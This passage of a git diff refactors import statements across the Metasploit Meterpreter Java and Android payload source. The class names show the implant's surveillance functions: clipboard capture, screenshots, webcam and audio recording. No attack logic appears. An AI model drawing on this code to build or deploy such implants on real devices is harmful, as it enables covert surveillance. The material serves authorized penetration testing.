b/java/androidpayload/library/src/com/metasploit/meterpreter/android/appapi_app_uninstall.java @@ -6,9 +6,9 @@ import android.content.pm.PackageManager; import android.net.Uri; +import com.metasploit.TLVPacket; import com.metasploit.meterpreter.AndroidMeterpreter; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; import com.metasploit.meterpreter.command.Command; public class appapi_app_uninstall implements Command { diff --git a/java/androidpayload/library/src/com/metasploit/meterpreter/android/clipboard_get_data.java b/java/androidpayload/library/src/com/metasploit/meterpreter/android/clipboard_get_data.java index edf9372a8..15c326bd7 100644 --- a/java/androidpayload/library/src/com/metasploit/meterpreter/android/clipboard_get_data.java +++ b/java/androidpayload/library/src/com/metasploit/meterpreter/android/clipboard_get_data.java @@ -1,11 +1,11 @@ package com.metasploit.meterpreter.android; +import com.metasploit.TLVPacket; +import com.metasploit.TLVType; import com.metasploit.meterpreter.AndroidMeterpreter; import com.metasploit.meterpreter.ClipManager; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; -import com.metasploit.meterpreter.TLVType; import com.metasploit.meterpreter.command.Command; public class clipboard_get_data implements Command { diff --git a/java/androidpayload/library/src/com/metasploit/meterpreter/android/clipboard_monitor_dump.java b/java/androidpayload/library/src/com/metasploit/meterpreter/android/clipboard_monitor_dump.java index c0cf55c55..d2eed027e 100644 --- a/java/androidpayload/library/src/com/metasploit/meterpreter/android/clipboard_monitor_dump.java +++ b/java/androidpayload/library/src/com/metasploit/meterpreter/android/clipboard_monitor_dump.java @@ -1,10 +1,10 @@ package com.metasploit.meterpreter.android; +import com.metasploit.TLVPacket; import com.metasploit.meterpreter.AndroidMeterpreter; import com.metasploit.meterpreter.ClipManager; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; import com.metasploit.meterpreter.command.Command; public class clipboard_monitor_dump implements Command { diff --git a/java/androidpayload/library/src/com/metasploit/meterpreter/android/clipboard_monitor_pause.java b/java/androidpayload/library/src/com/metasploit/meterpreter/android/clipboard_monitor_pause.java index 5f738714d..4e10ddc99 100644 --- a/java/androidpayload/library/src/com/metasploit/meterpreter/android/clipboard_monitor_pause.java +++ b/java/androidpayload/library/src/com/metasploit/meterpreter/android/clipboard_monitor_pause.java @@ -1,10 +1,10 @@ package com.metasploit.meterpreter.android; +import com.metasploit.TLVPacket; import com.metasploit.meterpreter.AndroidMeterpreter; import com.metasploit.meterpreter.ClipManager; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; import com.metasploit.meterpreter.command.Command; public class clipboard_monitor_pause implements Command { diff --git a/java/androidpayload/library/src/com/metasploit/meterpreter/android/clipboard_monitor_purge.java b/java/androidpayload/library/src/com/metasploit/meterpreter/android/clipboard_monitor_purge.java index 2fef19cce..4f612150a 100644 --- a/java/androidpayload/library/src/com/metasploit/meterpreter/android/clipboard_monitor_purge.java +++ b/java/androidpayload/library/src/com/metasploit/meterpreter/android/clipboard_monitor_purge.java @@ -1,10 +1,10 @@ package com.metasploit.meterpreter.android; +import com.metasploit.TLVPacket; import com.metasploit.meterpreter.AndroidMeterpreter; import com.metasploit.meterpreter.ClipManager; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; import com.metasploit.meterpreter.command.Command; public class clipboard_monitor_purge implements Command { diff --git a/java/androidpayload/library/src/com/metasploit/meterpreter/android/clipboard_monitor_resume.java b/java/androidpayload/library/src/com/metasploit/meterpreter/android/clipboard_monitor_resume.java index b9c4b1f0a..4de8ae8e6 100644 --- a/java/androidpayload/library/src/com/metasploit/meterpreter/android/clipboard_monitor_resume.java +++ b/java/androidpayload/library/src/com/metasploit/meterpreter/android/clipboard_monitor_resume.java @@ -1,10 +1,10 @@ package com.metasploit.meterpreter.android; +import com.metasploit.TLVPacket; import com.metasploit.meterpreter.AndroidMeterpreter; import com.metasploit.meterpreter.ClipManager; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; import com.metasploit.meterpreter.command.Command; public class clipboard_monitor_resume implements Command { diff --git a/java/androidpayload/library/src/com/metasploit/meterpreter/android/clipboard_monitor_start.java b/java/androidpayload/library/src/com/metasploit/meterpreter/android/clipboard_monitor_start.java index c181240b5..0756b4748 100644 --- a/java/androidpayload/library/src/com/metasploit/meterpreter/android/clipboard_monitor_start.java +++ b/java/androidpayload/library/src/com/metasploit/meterpreter/android/clipboard_monitor_start.java @@ -1,10 +1,10 @@ package com.metasploit.meterpreter.android; +import com.metasploit.TLVPacket; import com.metasploit.meterpreter.AndroidMeterpreter; import com.metasploit.meterpreter.ClipManager; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; import com.metasploit.meterpreter.command.Command; public class clipboard_monitor_start implements Command { diff --git a/java/androidpayload/library/src/com/metasploit/meterpreter/android/clipboard_monitor_stop.java b/java/androidpayload/library/src/com/metasploit/meterpreter/android/clipboard_monitor_stop.java index d8d3f9640..3ea7d87a1 100644 --- a/java/androidpayload/library/src/com/metasploit/meterpreter/android/clipboard_monitor_stop.java +++ b/java/androidpayload/library/src/com/metasploit/meterpreter/android/clipboard_monitor_stop.java @@ -1,10 +1,10 @@ package com.metasploit.meterpreter.android; +import com.metasploit.TLVPacket; import com.metasploit.meterpreter.AndroidMeterpreter; import com.metasploit.meterpreter.ClipManager; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; import com.metasploit.meterpreter.command.Command; public class clipboard_monitor_stop implements Command { diff --git a/java/androidpayload/library/src/com/metasploit/meterpreter/android/clipboard_set_data.java b/java/androidpayload/library/src/com/metasploit/meterpreter/android/clipboard_set_data.java index ccd84b1c9..a76bf4021 100644 --- a/java/androidpayload/library/src/com/metasploit/meterpreter/android/clipboard_set_data.java +++ b/java/androidpayload/library/src/com/metasploit/meterpreter/android/clipboard_set_data.java @@ -1,11 +1,11 @@ package com.metasploit.meterpreter.android; +import com.metasploit.TLVPacket; +import com.metasploit.TLVType; import com.metasploit.meterpreter.AndroidMeterpreter; import com.metasploit.meterpreter.ClipManager; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; -import com.metasploit.meterpreter.TLVType; import com.metasploit.meterpreter.command.Command; public class clipboard_set_data implements Command { diff --git a/java/androidpayload/library/src/com/metasploit/meterpreter/android/stdapi_sys_config_getuid.java b/java/androidpayload/library/src/com/metasploit/meterpreter/android/stdapi_sys_config_getuid.java index 6d0f1cc78..e41e6ddf3 100644 --- a/java/androidpayload/library/src/com/metasploit/meterpreter/android/stdapi_sys_config_getuid.java +++ b/java/androidpayload/library/src/com/metasploit/meterpreter/android/stdapi_sys_config_getuid.java @@ -1,8 +1,8 @@ package com.metasploit.meterpreter.android; +import com.metasploit.TLVPacket; +import com.metasploit.TLVType; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; -import com.metasploit.meterpreter.TLVType; import com.metasploit.meterpreter.Utils; import com.metasploit.meterpreter.command.Command; diff --git a/java/androidpayload/library/src/com/metasploit/meterpreter/android/stdapi_sys_config_sysinfo_android.java b/java/androidpayload/library/src/com/metasploit/meterpreter/android/stdapi_sys_config_sysinfo_android.java index 489acfb8d..1995acbc2 100644 --- a/java/androidpayload/library/src/com/metasploit/meterpreter/android/stdapi_sys_config_sysinfo_android.java +++ b/java/androidpayload/library/src/com/metasploit/meterpreter/android/stdapi_sys_config_sysinfo_android.java @@ -1,8 +1,8 @@ package com.metasploit.meterpreter.android; +import com.metasploit.TLVPacket; +import com.metasploit.TLVType; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; -import com.metasploit.meterpreter.TLVType; import com.metasploit.meterpreter.Utils; import com.metasploit.meterpreter.command.Command; import com.metasploit.meterpreter.stdapi.stdapi_sys_config_sysinfo; diff --git a/java/androidpayload/library/src/com/metasploit/meterpreter/android/stdapi_sys_process_get_processes_android.java b/java/androidpayload/library/src/com/metasploit/meterpreter/android/stdapi_sys_process_get_processes_android.java index 18137b21e..815b8bdca 100644 --- a/java/androidpayload/library/src/com/metasploit/meterpreter/android/stdapi_sys_process_get_processes_android.java +++ b/java/androidpayload/library/src/com/metasploit/meterpreter/android/stdapi_sys_process_get_processes_android.java @@ -1,8 +1,8 @@ package com.metasploit.meterpreter.android; +import com.metasploit.TLVPacket; +import com.metasploit.TLVType; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; -import com.metasploit.meterpreter.TLVType; import com.metasploit.meterpreter.command.Command; import java.io.BufferedReader; diff --git a/java/androidpayload/library/src/com/metasploit/meterpreter/android/stdapi_sys_process_getpid_android.java b/java/androidpayload/library/src/com/metasploit/meterpreter/android/stdapi_sys_process_getpid_android.java index fde1cb20b..b62e13bbf 100644 --- a/java/androidpayload/library/src/com/metasploit/meterpreter/android/stdapi_sys_process_getpid_android.java +++ b/java/androidpayload/library/src/com/metasploit/meterpreter/android/stdapi_sys_process_getpid_android.java @@ -2,9 +2,9 @@ import android.os.Process; +import com.metasploit.TLVPacket; +import com.metasploit.TLVType; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; -import com.metasploit.meterpreter.TLVType; import com.metasploit.meterpreter.command.Command; import com.metasploit.meterpreter.stdapi.stdapi_sys_process_getpid; diff --git a/java/androidpayload/library/src/com/metasploit/meterpreter/android/stdapi_ui_desktop_screenshot.java b/java/androidpayload/library/src/com/metasploit/meterpreter/android/stdapi_ui_desktop_screenshot.java index 82d1e1b6d..a52700e10 100644 --- a/java/androidpayload/library/src/com/metasploit/meterpreter/android/stdapi_ui_desktop_screenshot.java +++ b/java/androidpayload/library/src/com/metasploit/meterpreter/android/stdapi_ui_desktop_screenshot.java @@ -4,9 +4,9 @@ import android.graphics.Bitmap; import android.view.View; +import com.metasploit.TLVPacket; +import com.metasploit.TLVType; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; -import com.metasploit.meterpreter.TLVType; import com.metasploit.meterpreter.command.Command; import java.io.ByteArrayOutputStream; diff --git a/java/androidpayload/library/src/com/metasploit/meterpreter/android/stdapi_webcam_audio_record_android.java b/java/androidpayload/library/src/com/metasploit/meterpreter/android/stdapi_webcam_audio_record_android.java index 475cd09d6..c8d958ce1 100644 --- a/java/androidpayload/library/src/com/metasploit/meterpreter/android/stdapi_webcam_audio_record_android.java +++ b/java/androidpayload/library/src/com/metasploit/meterpreter/android/stdapi_webcam_audio_record_android.java @@ -5,8 +5,8 @@ import android.media.AudioRecord; import android.media.MediaRecorder.AudioSource; +import com.metasploit.TLVPacket; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; import com.metasploit.meterpreter.command.Command; import com.metasploit.meterpreter.stdapi.stdapi_webcam_audio_record; diff --git a/java/androidpayload/library/src/com/metasploit/meterpreter/android/webcam_get_frame_android.java b/java/androidpayload/library/src/com/metasploit/meterpreter/android/webcam_get_frame_android.java index b5e14bcb4..dda659e1c 100644 --- a/java/androidpayload/library/src/com/metasploit/meterpreter/android/webcam_get_frame_android.java +++ b/java/androidpayload/library/src/com/metasploit/meterpreter/android/webcam_get_frame_android.java @@ -5,8 +5,8 @@ import android.hardware.Camera.Parameters; import android.hardware.Camera.PictureCallback; +import com.metasploit.TLVPacket; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; import com.metasploit.meterpreter.command.Command; import com.metasploit.meterpreter.stdapi.stdapi_webcam_audio_record; diff --git a/java/androidpayload/library/src/com/metasploit/meterpreter/android/webcam_list_android.java b/java/androidpayload/library/src/com/metasploit/meterpreter/android/webcam_list_android.java index 54db6836f..44e563cd4 100644 --- a/java/androidpayload/library/src/com/metasploit/meterpreter/android/webcam_list_android.java +++ b/java/androidpayload/library/src/com/metasploit/meterpreter/android/webcam_list_android.java @@ -1,8 +1,8 @@ package com.metasploit.meterpreter.android; +import com.metasploit.TLVPacket; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; import com.metasploit.meterpreter.command.Command; import com.metasploit.meterpreter.stdapi.stdapi_webcam_audio_record; diff --git a/java/androidpayload/library/src/com/metasploit/meterpreter/android/webcam_start_android.java b/java/androidpayload/library/src/com/metasploit/meterpreter/android/webcam_start_android.java index a9190c580..69735a0f3 100644 --- a/java/androidpayload/library/src/com/metasploit/meterpreter/android/webcam_start_android.java +++ b/java/androidpayload/library/src/com/metasploit/meterpreter/android/webcam_start_android.java @@ -9,9 +9,9 @@ import android.view.SurfaceView; import android.view.WindowManager; +import com.metasploit.TLVPacket; import com.metasploit.meterpreter.AndroidMeterpreter; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; import com.metasploit.meterpreter.command.Command; import com.metasploit.meterpreter.stdapi.stdapi_webcam_audio_record; diff --git a/java/androidpayload/library/src/com/metasploit/meterpreter/android/webcam_stop_android.java b/java/androidpayload/library/src/com/metasploit/meterpreter/android/webcam_stop_android.java index e5d308987..4db1672e2 100644 --- a/java/androidpayload/library/src/com/metasploit/meterpreter/android/webcam_stop_android.java +++ b/java/androidpayload/library/src/com/metasploit/meterpreter/android/webcam_stop_android.java @@ -1,8 +1,8 @@ package com.metasploit.meterpreter.android; +import com.metasploit.TLVPacket; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; import com.metasploit.meterpreter.command.Command; import com.metasploit.meterpreter.stdapi.stdapi_webcam_audio_record; diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/Channel.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/Channel.java index 60666822f..e160e5774 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/Channel.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/Channel.java @@ -4,6 +4,8 @@ import java.io.InputStream; import java.io.OutputStream; +import com.metasploit.TLVPacket; +import com.metasploit.TLVType; import com.metasploit.meterpreter.command.CommandId; /** diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/CommandManager.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/CommandManager.java index 297db81e8..36142bae6 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/CommandManager.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/CommandManager.java @@ -5,6 +5,8 @@ import java.util.Map; import java.util.Vector; +import com.metasploit.TLVPacket; +import com.metasploit.TLVType; import com.metasploit.meterpreter.command.Command; import com.metasploit.meterpreter.command.NotYetImplementedCommand; import com.metasploit.meterpreter.command.UnsupportedJavaVersionCommand; diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/HttpTransport.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/HttpTransport.java index 80cb7e05e..287c2d5e9 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/HttpTransport.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/HttpTransport.java @@ -1,5 +1,7 @@ package com.metasploit.meterpreter; +import com.metasploit.TLVPacket; +import com.metasploit.TLVType; import com.metasploit.meterpreter.command.Command; import com.metasploit.stage.HttpConnection; import com.metasploit.stage.PayloadTrustManager; diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/Meterpreter.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/Meterpreter.java index 5dd47c0a7..3f1235b84 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/Meterpreter.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/Meterpreter.java @@ -8,8 +8,6 @@ import java.io.PrintStream; import java.net.MalformedURLException; -import java.net.URL; -import java.net.URLClassLoader; import java.util.ArrayList; import java.util.Iterator; @@ -17,6 +15,8 @@ import java.util.Random; import java.util.jar.JarInputStream; +import com.metasploit.TLVPacket; +import com.metasploit.TLVType; import com.metasploit.meterpreter.core.core_loadlib; import com.metasploit.stage.Config; import com.metasploit.stage.ConfigParser; diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/TcpTransport.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/TcpTransport.java index 8612a37f3..94c8a58e9 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/TcpTransport.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/TcpTransport.java @@ -10,6 +10,8 @@ import java.net.SocketException; import java.net.SocketTimeoutException; +import com.metasploit.TLVPacket; +import com.metasploit.TLVType; import com.metasploit.meterpreter.command.Command; import com.metasploit.stage.TransportConfig; diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/Transport.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/Transport.java index 948e90970..e33d6c7a8 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/Transport.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/Transport.java @@ -1,5 +1,6 @@ package com.metasploit.meterpreter; +import com.metasploit.TLVPacket; import com.metasploit.stage.TransportConfig; import java.io.ByteArrayInputStream; diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/command/Command.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/command/Command.java index 7e965b6e7..a234b54aa 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/command/Command.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/command/Command.java @@ -1,8 +1,8 @@ package com.metasploit.meterpreter.command; +import com.metasploit.TLVPacket; import com.metasploit.meterpreter.CommandManager; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; /** * A command that can be executed inside meterpreter. Each command has a name and can be registered using the {@link CommandManager#registerCommand(int commandId, Class commandClass)} command. diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/command/NotYetImplementedCommand.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/command/NotYetImplementedCommand.java index e72743b71..aaae504a5 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/command/NotYetImplementedCommand.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/command/NotYetImplementedCommand.java @@ -5,9 +5,9 @@ import java.util.Iterator; import java.util.Map; +import com.metasploit.TLVPacket; +import com.metasploit.TLVType; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; -import com.metasploit.meterpreter.TLVType; /** * A command that represents a command that is not yet implemented. It will dump the complete request packet to the error stream and return {@link Command#ERROR_FAILURE}. diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/command/UnsupportedJavaVersionCommand.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/command/UnsupportedJavaVersionCommand.java index 3839ecc9d..e0612466c 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/command/UnsupportedJavaVersionCommand.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/command/UnsupportedJavaVersionCommand.java @@ -1,8 +1,8 @@ package com.metasploit.meterpreter.command; +import com.metasploit.TLVPacket; import com.metasploit.meterpreter.ExtensionLoader; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; /** * A command that represents a command that is implemented, but not for the current Java version. diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_channel_close.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_channel_close.java index 276570e1f..439dda403 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_channel_close.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_channel_close.java @@ -1,9 +1,9 @@ package com.metasploit.meterpreter.core; +import com.metasploit.TLVPacket; +import com.metasploit.TLVType; import com.metasploit.meterpreter.Channel; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; -import com.metasploit.meterpreter.TLVType; import com.metasploit.meterpreter.command.Command; public class core_channel_close implements Command { diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_channel_eof.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_channel_eof.java index 4f7dcbe2a..bdbede8ba 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_channel_eof.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_channel_eof.java @@ -1,9 +1,9 @@ package com.metasploit.meterpreter.core; +import com.metasploit.TLVPacket; +import com.metasploit.TLVType; import com.metasploit.meterpreter.Channel; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; -import com.metasploit.meterpreter.TLVType; import com.metasploit.meterpreter.command.Command; public class core_channel_eof implements Command { diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_channel_interact.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_channel_interact.java index 054ce8bd3..94e544ce1 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_channel_interact.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_channel_interact.java @@ -1,9 +1,9 @@ package com.metasploit.meterpreter.core; +import com.metasploit.TLVPacket; +import com.metasploit.TLVType; import com.metasploit.meterpreter.Channel; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; -import com.metasploit.meterpreter.TLVType; import com.metasploit.meterpreter.command.Command; public class core_channel_interact implements Command { diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_channel_read.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_channel_read.java index 4f12973c0..255932f41 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_channel_read.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_channel_read.java @@ -1,9 +1,9 @@ package com.metasploit.meterpreter.core; +import com.metasploit.TLVPacket; +import com.metasploit.TLVType; import com.metasploit.meterpreter.Channel; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; -import com.metasploit.meterpreter.TLVType; import com.metasploit.meterpreter.command.Command; public class core_channel_read implements Command { diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_channel_write.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_channel_write.java index e523c224b..fc62d09ca 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_channel_write.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_channel_write.java @@ -1,9 +1,9 @@ package com.metasploit.meterpreter.core; +import com.metasploit.TLVPacket; +import com.metasploit.TLVType; import com.metasploit.meterpreter.Channel; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; -import com.metasploit.meterpreter.TLVType; import com.metasploit.meterpreter.command.Command; public class core_channel_write implements Command { diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_enumextcmd.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_enumextcmd.java index 0a5768dd6..b45191736 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_enumextcmd.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_enumextcmd.java @@ -1,9 +1,9 @@ package com.metasploit.meterpreter.core; +import com.metasploit.TLVPacket; +import com.metasploit.TLVType; import com.metasploit.meterpreter.CommandManager; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; -import com.metasploit.meterpreter.TLVType; import com.metasploit.meterpreter.command.Command; public class core_enumextcmd implements Command { diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_get_session_guid.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_get_session_guid.java index dae192f1c..741f7fd2e 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_get_session_guid.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_get_session_guid.java @@ -1,8 +1,8 @@ package com.metasploit.meterpreter.core; +import com.metasploit.TLVPacket; +import com.metasploit.TLVType; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; -import com.metasploit.meterpreter.TLVType; import com.metasploit.meterpreter.command.Command; public class core_get_session_guid implements Command { diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_loadlib.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_loadlib.java index 4308ab8e4..35b225269 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_loadlib.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_loadlib.java @@ -1,8 +1,8 @@ package com.metasploit.meterpreter.core; +import com.metasploit.TLVPacket; +import com.metasploit.TLVType; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; -import com.metasploit.meterpreter.TLVType; import com.metasploit.meterpreter.command.Command; public class core_loadlib implements Command { diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_machine_id.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_machine_id.java index 4e171b4cb..7f7eee8f2 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_machine_id.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_machine_id.java @@ -1,8 +1,8 @@ package com.metasploit.meterpreter.core; +import com.metasploit.TLVPacket; +import com.metasploit.TLVType; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; -import com.metasploit.meterpreter.TLVType; import com.metasploit.meterpreter.Utils; import com.metasploit.meterpreter.command.Command; diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_native_arch.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_native_arch.java index 04e956274..c7d4eb589 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_native_arch.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_native_arch.java @@ -1,8 +1,8 @@ package com.metasploit.meterpreter.core; +import com.metasploit.TLVPacket; +import com.metasploit.TLVType; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; -import com.metasploit.meterpreter.TLVType; import com.metasploit.meterpreter.Utils; import com.metasploit.meterpreter.command.Command; diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_negotiate_tlv_encryption.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_negotiate_tlv_encryption.java index 9492f082a..f8bb7bb8d 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_negotiate_tlv_encryption.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_negotiate_tlv_encryption.java @@ -6,10 +6,10 @@ import java.security.spec.X509EncodedKeySpec; import javax.crypto.Cipher; +import com.metasploit.TLVPacket; +import com.metasploit.TLVType; import com.metasploit.meterpreter.Transport; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; -import com.metasploit.meterpreter.TLVType; import com.metasploit.meterpreter.command.Command; public class core_negotiate_tlv_encryption implements Command { diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_patch_url.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_patch_url.java index c5e297988..522c85d7c 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_patch_url.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_patch_url.java @@ -1,8 +1,8 @@ package com.metasploit.meterpreter.core; +import com.metasploit.TLVPacket; +import com.metasploit.TLVType; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; -import com.metasploit.meterpreter.TLVType; import com.metasploit.meterpreter.command.Command; public class core_patch_url implements Command { diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_set_session_guid.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_set_session_guid.java index 057ce6065..da7953c19 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_set_session_guid.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_set_session_guid.java @@ -1,8 +1,8 @@ package com.metasploit.meterpreter.core; +import com.metasploit.TLVPacket; +import com.metasploit.TLVType; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; -import com.metasploit.meterpreter.TLVType; import com.metasploit.meterpreter.command.Command; public class core_set_session_guid implements Command { diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_set_uuid.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_set_uuid.java index 63d5aa4e9..bdf481445 100644 